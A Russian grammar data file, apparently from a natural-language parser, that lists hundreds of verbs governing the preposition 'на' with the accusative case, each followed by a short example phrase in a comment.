rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
